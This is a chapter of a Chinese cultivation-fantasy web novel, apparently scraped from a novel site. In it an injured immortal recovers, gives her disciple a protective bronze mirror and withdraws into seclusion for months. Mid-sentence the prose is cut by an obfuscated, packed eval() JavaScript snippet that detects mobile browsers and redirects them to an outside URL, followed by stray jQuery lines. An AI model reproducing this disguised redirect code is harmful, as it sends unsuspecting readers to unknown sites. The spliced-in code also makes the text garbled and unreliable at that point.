15. 原因

作品:《飞升前被主角卡回档了

    “怎么回事?!”


    “让开,都让开,萧院长来了!”


    “师尊,我求你,快醒醒……”


    江无月第一个念头就是:吵死了。


    所有的声音都仿佛来自天外,朦朦胧胧,叽叽喳喳,就像清晨树梢上的喜鹊,叫得又快又碎,什么都听不清。


    她想睁开眼,然后把在她耳边吵的人都踢飞,可眼皮好似灌了铅,简单的动作难如登天。


    算了,太累,还是不踢了。


    “师尊……”


    江无月:“……”


    江无月动了动手指,勉强睁开眼。


    夜幕低垂,没有刺目的阳光。微风吹动树叶,影影绰绰,一片叶子在空中盘旋,落在她的身上。


    淡绿的光芒在萧钰手中现出,源源不断的灵力渡进她的体内,抽痛的胸口缓和不少。


    身侧,何渡半跪在地,眼眶通红,眼泪止不住往外流。


    她薄唇微张,发出气音:“都多大了,怎么还哭鼻子,说出去让人笑话。”


    何渡抽泣声骤停,他灰败的眼里燃起星火,发出一声惊喜的呼喊:“师尊!师尊你醒了!!”


    “萧院长,师尊她醒了!!!”


    “知道知道,我眼睛还在呢!”萧钰瞥他一眼,收起灵力,累得瘫坐在地。


    何渡抹干脸颊上的泪水,把江无月扶起,让她靠在自己肩头,接过递来的水,小心翼翼地喂给她。


    温热的水送入喉中,嗓子总算不那么干涩。


    “师尊,你怎么样?”何渡道。


    江无月:“还活着,镜鬼呢?”


    刚醒脑子不大灵光,这句属实有点废话,镜鬼寄宿在她体内,那一剑保准给镜鬼送走,不然她都看不起绝尘。


    何渡简述后来的事,果不其然,镜鬼死亡,铜镜内世界崩塌,所有人都回到真正的永乐村里,为防止村民精神失常,凌云宗的弟子施下小小法术,让重复的村民以为只是做一个梦而已。


    村民中,只有一人还记得这件事。


    叶长乐跟在一名弟子身后,探出脑袋,又快速缩回去。


    弟子把她带到后就转身离开,叶长乐被迫暴露在所有人视线中,不自在的绞着袖子。


    良久后,她怯怯道:“那个……那个,我,我替姐姐跟你们道歉,真的很对不起。”她弯下腰,姿态恳切。


    江无月与何渡对视一眼,明白过来,叶长乐自始至终应该都被叶长喜控制,最清楚叶长喜犯下何等过错。出镜后,马不停蹄地赶来赔罪。


    叶长乐眼神飘忽,紧咬唇瓣,面色涨红。地上被她用脚尖钻出一个洞来,紧张得不得了。


    想到镜中被叶长喜操控的叶长乐,江无月不禁感叹:“你们姐妹俩……性格真是不大一样。”


    叶长乐尴尬地笑笑。


    “啊对了,这个交给你们!”叶长乐想是突然想起什么,从背后的包裹里拿出一枚铜镜,交给离她最近的萧钰。


    萧钰垂眸看了会,勾起唇角,转身向跟叶长乐道谢。叶长乐见任务做完,受不住盯着她的视线,一溜烟跑开了。


    “七品灵器,真是稀罕,”萧钰把铜镜抛给江无月,笑道:“大功臣,好好收着吧。”


    江无月想拒绝,有绝尘在,她不需要什么灵器,但触及铜镜后微微一滞,笑了笑,顺势收下。


    *


    事情告一段落,众弟子启程返回宗门。


    江无月是用疾行符跑来的,如今重伤未愈,定不能再用灵力,于是弟子们众筹给她安排一辆马车。


    “仙尊,怎么样!这可是附近最好的马车了,保准气派!”一位弟子拍拍胸脯,伸出大拇指。


    白马踏了踏蹄子,尘土飞扬,马头一甩,斜着眼看她。


    江无月勉强扯出一个笑。


    这马看着挺厉害,应该走的稳吧……


    一个时辰后。


    江无月脚步虚浮,胃里翻江倒海,脸色更是五彩斑斓。短短一个时辰度日如年,给她的身心造成不小损伤。


    这匹马绝对是故意的,走走路忽然就加速,冲出几步又猛地停住,一快一慢,反反复复,简直有病!


    路过白马时,她一个白眼瞪回去。


    大部队到达,远远看着两道人影接踵而至。


    “师尊,你脸色更差了,是不是晕车?我这里有——”


    “师妹,我这有糖哦。”


    两道声音同时响起,一左一右,何渡捧着一小盒蜜饯;萧钰摊开手掌,是零零散散的糖块。


    二人对视一眼,萧钰上前一步:“师妹拿我的,这是陵安城新到的口味,绝无仅有!”


    何渡不甘示弱,侧身挡住萧钰,“师尊,里面有你最喜欢的梅子,比他的健康,还不容易蛀牙!”


    “去去去,礼让院长懂不懂?”


    “什么院长?没听过,我只知道我师尊是院长!”


    两个人你挤我,我挤你,谁也不肯让谁。


    江无月嘴角抽了抽,绕开这两个莫名其妙的人。


    “哎,师妹?!别走!”


    “师尊等等我!”


    何渡抬腿,萧钰见缝插针横出一脚,险些让何渡与地面亲密接触。何渡皮笑肉不笑,趁萧钰领先时甩出一块石子,砸在萧钰膝弯,弄了他一个踉跄。


    两人你来我往,百米路走了半刻钟,再抬头时,江无月早已不见身影。


    *


    江无月仰面躺在床上,对着头顶的房梁发呆。


    这次她伤的重了点,刀剑穿身,伤及脾肺,也就是命大,长年修炼身子硬朗,加上萧钰治疗及时,拽回一条命。


    虽脱离危险,依旧要静养一段时日。


    思及此,江无月顿时想仰天怒吼。


    最讨厌幻境类别的鬼了,不管进去的是三品还是九品,压根没区别,只能遵守规则,不能武力压制!


    那种情形,想出来必须自戕。因着镜鬼无法杀死镜鬼,还得让别人杀她!


    痛痛痛……


    不过好在有所收获。


    江无月从怀里摸出铜镜来,顺便发出一张传音,没过多久,何渡气喘吁吁的跑来。


    “师尊,是哪里不舒服吗?”


    何渡收到传音,以为有要紧事,飞奔过来,衣服都来不及穿,松松垮垮披在身上,江无月一看,这人头发还湿淋淋的,像是刚洗过澡。


    她翻身坐起,让何渡过来,自己则取出一方毛巾,替他擦拭还在滴水的墨发。


    何渡一惊,连忙摆手,“师尊不可,你身上有伤,怎能——”江无月给了他一个脑瓜崩,斥道:“你师尊没那么脆弱,捅刀子什么的都习惯了,不影响做事。”


    没骗他,短短三月挨两刀,确实习惯了。


    何渡眼眸流转,不知在想些什么。


    黑色的发尾浸在白色的布巾里,轻轻一揉,水珠就被带走。何渡的头发很长,平时扎着看不出来,散着便发觉比江无月还要长些,不过发质不太好,干枯易折,缺乏营养。


    江无月决定去贿赂一下膳房,让他们多做点营养高的饭食,这群孩子正长身体,宗门家大业大,可不能亏待了。


    何渡像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352604|199365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只听话的某大型犬,乖乖坐着,一动不动,任由江无月的手指在他发丝间游动。直到擦干,江无月放下布巾时,还有些意犹未尽。


    江无月把铜镜递给他,道:“这是七品灵器,可以抵挡三次致命伤,你拿着防身。”


    一开始她还以为是幻境类或杀伤性灵器,毕竟镜鬼的能力阴险,不是操控就是删除记忆。不料镜鬼死后,留下的灵器竟然是防御类。


    何渡想拒绝,江无月看穿他所想,摆摆手:“叫你收好就收好,为师不需要这些,往后遇到危险时可能顾不上你,这东西能保你的命。”


    何渡收下铜镜,揽在怀里。


    “多谢师尊!”


    他眉眼弯弯,眸光似水,“师尊,你为何对弟子这样好?”


    江无月听后一顿。


    为什么?


    为他屡次出头,为他挡刀,为他送上保命的灵器,到底为什么?


    江无月知道理由,只是为了推进剧情,不让这个世界主角死掉罢了。


    可这样的话,无论如何都说不出口。


    何渡自觉失言,欠身道歉:“师尊对不起,是弟子逾矩了。”


    江无月很想说不用道歉,不是你的错,你也只是问问而已。可想到后期剧情的种种,千言万语汇成一句:“无事,你下去吧。”


    何渡走了。


    月色朦胧,透过窗子洒入。屋里一片漆黑,没有燃灯,月光堪堪照亮床头的区域。


    江无月抱膝看着窗外明月,有点呼吸不畅,那种郁闷感重现,一团气卡在喉咙里,吞也不是,吐也不是,半上不下,备受折磨。


    比她胸口处这道剑伤还要难受。


    *


    江无月又把自己关在房间里,不知是为了养伤,还是为了逃避什么。


    一连九月,销声匿迹。


    这段时期,她偶有出门,不过也是用“江舟”的身份,跟着林绾上学堂,练术法,何渡有时候也在,但鲜少交流。


    还有一两次,世界动荡,别人找不到她,还是段暄出面把她揪出来,讲清缘由,出去平息动荡后,赏罚不问,又灰溜溜的钻回揽月轩。


    就像一只离不开壳的蜗牛。


    也有其他人探望她。


    萧钰有次发疯,硬是手持火把,扬言要烧了揽月轩,一众长老相拦,连拖带拽,才把他绑回灵枢院。


    哦,还有她的徒弟。


    何渡比萧钰安静多了,每月初一、十五都会过来,跟她问好,嘀嘀咕咕说着他的修炼程度,尽管得不到回应。


    有件事值得表扬,何渡每次来都会带着超大一筐好吃的,糕点、糖果、蜜饯应有尽有!


    江无月等门外没动静时,就会偷偷敞开一条缝,鬼鬼祟祟伸出半个脑袋,一勾手把吃的拿进来。


    ……


    如果不是剧情到了,她真想在房间里呆一辈子。


    “咚咚咚,仙尊,仙尊您在吗?”


    江无月听这声音有点耳熟,好像是宗主众多弟子之下其一。


    算算日子,也快到了。


    踌躇一瞬,江无月认命起身,对着门外的人道:“什么事?”


    “什么,仙尊竟然说话了,这屋子里原来真的有人!”


    “……”


    门外弟子十分激动,九月以来,宗主总派他过来,门都被敲出个大坑也得不到回应,这次不亚于中彩头一般!


    激动之余,他忙道:“仙尊,仙门大比将至,宗主请您务必到场!”


    江无月应下。


    那位多灾多难的男主又要被坑了。